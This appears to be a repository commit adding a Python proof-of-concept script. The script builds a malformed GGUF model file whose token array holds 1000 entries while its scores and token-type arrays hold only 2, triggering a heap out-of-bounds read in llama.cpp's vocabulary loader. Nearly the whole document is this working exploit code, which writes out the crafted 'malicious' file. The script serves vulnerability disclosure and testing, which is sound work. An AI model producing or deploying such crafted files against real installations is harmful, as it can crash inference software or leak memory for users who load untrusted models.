Add llama.cpp vocab OOB read PoC
Browse files- poc_vocab_oob.py +48 -0
poc_vocab_oob.py
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#!/usr/bin/env python3
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"""
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PoC: Heap Out-of-Bounds Read via Token/Score/TokenType Array Size Mismatch
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Target: llama.cpp / llamafile — llama-vocab.cpp
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Severity: High (CWE-125 OOB Read)
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Generates a .gguf with 1000 tokens but only 2 scores/toktypes entries.
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llama-vocab.cpp accesses scores[i] and toktypes[i] for i up to 999,
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reading ~3992 bytes past the heap allocation.
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"""
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import struct, sys, os
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GGUF_MAGIC = b'GGUF'
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GGUF_VERSION = 3
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GGUF_TYPE_UINT32, GGUF_TYPE_INT32, GGUF_TYPE_FLOAT32 = 4, 5, 6
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GGUF_TYPE_STRING, GGUF_TYPE_ARRAY, GGUF_TYPE_UINT64 = 8, 9, 10
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def ws(f, s):
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e = s.encode('utf-8'); f.write(struct.pack('<Q', len(e))); f.write(e)
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def wks(f, k, v): ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_STRING)); ws(f, v)
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def wksa(f, k, ss):
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ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
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f.write(struct.pack('<i', GGUF_TYPE_STRING)); f.write(struct.pack('<Q', len(ss)))
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for s in ss: ws(f, s)
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def wkfa(f, k, fs):
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ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
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f.write(struct.pack('<i', GGUF_TYPE_FLOAT32)); f.write(struct.pack('<Q', len(fs)))
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for v in fs: f.write(struct.pack('<f', v))
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def wkia(f, k, ns):
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ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
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f.write(struct.pack('<i', GGUF_TYPE_INT32)); f.write(struct.pack('<Q', len(ns)))
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for v in ns: f.write(struct.pack('<i', v))
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N_TOK, N_SC = 1000, 2
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with open("malicious_vocab_oob.gguf", 'wb') as f:
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f.write(GGUF_MAGIC + struct.pack('<I', GGUF_VERSION) + struct.pack('<q', 0) + struct.pack('<q', 6))
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wks(f, "general.architecture", "llama")
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wks(f, "general.name", "poc-vocab-oob")
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wksa(f, "tokenizer.ggml.tokens", [f"tok_{i}" for i in range(N_TOK)])
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wkfa(f, "tokenizer.ggml.scores", [0.0]*N_SC)
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wkia(f, "tokenizer.ggml.token_type", [0]*N_SC)
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wks(f, "tokenizer.ggml.model", "llama")
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print(f"Generated malicious_vocab_oob.gguf — {N_TOK} tokens, {N_SC} scores/types")
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print(f"OOB read: ~{(N_TOK-N_SC)*4} bytes past heap allocation")
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